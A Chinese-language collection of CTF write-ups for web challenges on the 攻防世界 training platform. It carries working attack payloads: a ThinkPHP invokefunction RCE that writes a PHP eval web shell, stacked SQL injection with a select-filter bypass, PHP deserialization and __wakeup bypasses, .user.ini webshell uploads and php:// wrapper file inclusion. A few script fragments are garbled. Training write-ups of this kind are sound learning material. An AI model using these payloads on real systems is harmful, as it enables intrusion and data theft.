攻防世界 wp (持续更新)
Training-WWW-Robots
根据题目提示直接访问robots.txt,拿到flag的路径,访问就可以拿到
PHP2
尝试发现Index.phps有东西,访问源代码果然发现php代码
这里需要进行两次url编码,进行两次url编码后能够绕过第一个强相等,并且在url解码后与admin弱相等
这里使用hackbar的全字符url编码
拿到flag
unserialize3
这里考察的是绕过__wakeup魔术方法,这个魔术方法是在反序列化时自动执行的,只要在序列化的时候将属性的数量改大一些就可以绕过
这里将1改为2进行绕过
传入后自动跳转flag
ics-06
这里发现id,并且传入的值只能是数字,经过BP爆破后发现传入2333能拿到flag
view_source
直接Ctrl+u查看源代码拿到flag
get_post
按照题目提示传入即可
robots
直接访问robots.txt,然后访问拿到的网址拿到flag
backup
直接访问Index.php.bak拿到flag
cookie
首先查看cookie
发现一个网址cookie.php
访问后让我们看回应
发现flag
disabled_button
这里提示是前端的问题了,在前端我么你发现了一个disabled的语句,直接删除就可以拿到flag
Web_php_unserialize
这里考察的是绕过正则匹配,只需要将O:x改为O:+x就可以进行绕过,还有绕过wakeup魔术方法,只要将属性的数量改大一些就可以绕过
这里用到str_replace
用法例如$a=str_replace(“:1:”,”:2:”,$a);
这里就是将$a字符串中的,:1:替换为:2:,如果直接序列化语句
O:4:”Demo”:1:{s:10:”Demofile”;s:8:”fl4g.php”;}
手动改为
O:+4:”Demo”:2:{s:10:”Demofile”;s:8:”fl4g.php”;}
然后再base64编码的话,会因为不可见字符的原因,而失败
直接base64编码后得到的是
TzorNDoiRGVtbyI6Mjp7czoxMDoiRGVtb2ZpbGUiO3M6ODoiZmw0Zy5waHAiO30=
这里是不正确的
Demofile前后各有一个不可见字符
因而我们使用str_replace,这样就可以避免因为不可见字符而失败
构造payload
1 |
|
拿到flag
weak_auth
查看源代码提示我们用户名为admin并且使用BP爆破
BP爆破发现密码为123456
登录拿到flag
simple_php
a要求和0弱相等并且不能为0
a=0a绕过,不会读到a但是不为0
b要求不能全为数字并且大于1234
使用1235a绕过
baby_web
源代码是index.php,访问index.php的时候进行抓包可以看到flag
inget
这里存在sql注入,输入万能密码后拿到flag,注意#要用%23代替
easyupload
首先上传一个user.ini文件,再上传一句话木马就可以拿到flag
user.ini文件需要将Content-Type改成image/jpeg,作用相当于文件包含,包含出a.jpg的内容,a.jpg再写入一句话木马,就可以连接蚂剑拿到flag
上传a.jpg
这里有个很奇怪的地方,就是图片的路径,直接连接题目中给的路径是连接不上的,经过查找找到另外一个路径拿到flag
连接蚁剑即可
fileinclude
首先查看源代码发现一段php代码,意思是通过Cookie传入language的值,如果有内容就不会执行包含english.php否则会包含language.php
当然题目是不会这么简单的,题目对flag有过滤,我们使用filter伪协议可以进行绕过拿到flag
fileclude
题目意思是如果file2的内容是
hello ctf
,那么就包含file1,我们使用data伪协议对file2内容进行写入,题目中对于flag.php进行了过滤,我们使用filter伪协议对其进行绕过,最终拿到flag
easyphp
第一个if绕过
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3)
要求a的值大于6000000并且长度小于三,我们可以使用科学计数法进行绕过
a=1e8
相当于100000000
第二个if绕过
if(isset($b) && '8b184b' === substr(md5($b),-6,6))
要求b的值经过MD5加密后最后六个字符是8b184bsubstr的第一个值是要进行截取的字符串,第二个是开始截取的位置如果是负数,就是从倒数第几个数开始截取,第三个是要截取字符串的长度
使用脚本找到合适的值
脚本附上
1 | 34g.jpg)  && !is_numeric(@$c["m"]) && $c["m"] > 2022)
这里要求c是数组,c里m的值不能全为数字,并且要求大于2022
这里考察的是弱相等,数字后面的字母不会读取
c={“m”:”2023a”}
可以绕过
第四个if
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0]))
要求n是数组,并且长度是2,而且n数组的第一个值也是数组
这里使用二维数组进行绕过
c={“m”:”2023a”,”n”:[[],:””]}
最后要求数组内容里要有DGGJ又要求没有DGGJ,这是最后一个考察点
array_search的查找比较的是弱相等,在低版本php中DGGJ与0是弱相等的
因而我们把n数组的第二个值改为0就可以进行绕过
后面要求n数组里面不能含有DGGJ,这里比较的是强相等,因为的确没写入,所以可以直接绕过
c={“m”:”2023a”,”n”:[[],:”0”]}
综上最终payload为
?a=1e8&b=53724&c={"m":"2023a","n":[[],0]}
upload1
只需要抓包将图片马后缀改为php就可以绕过
xff_referer
第一关要求ip必须是123.123.123.123
BP加上X-Forwarded-For:123.123.123.123即可
第二关要求来自
BP加上referer;网址即可
最后拿到flag
php_rce
构造payload写入shell
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[a]);?>
然后访问shell.php通过一句话木马拿到flag
Web_php_include
直接data伪协议拿到flag
supersqli
考察的是堆叠注入
1’;show databases# 查所有库名
1’;show tables# 查所有的表名
1’;show columns from表名
#
1’;prepare y from concat(‘sel’,’ect*from表名
‘);execute y;#
拿到所有表名
查看指定表名的所有列名
我们发现这张表里有flag
然后我们直接看这张表的全部内容,就能拿到flag
我们发现这里过滤了select,我们要对select 进行绕过
1’;prepare y from concat(‘sel’,’ect*from
1919810931114514
‘);execute y ;#
我们就能拿到flag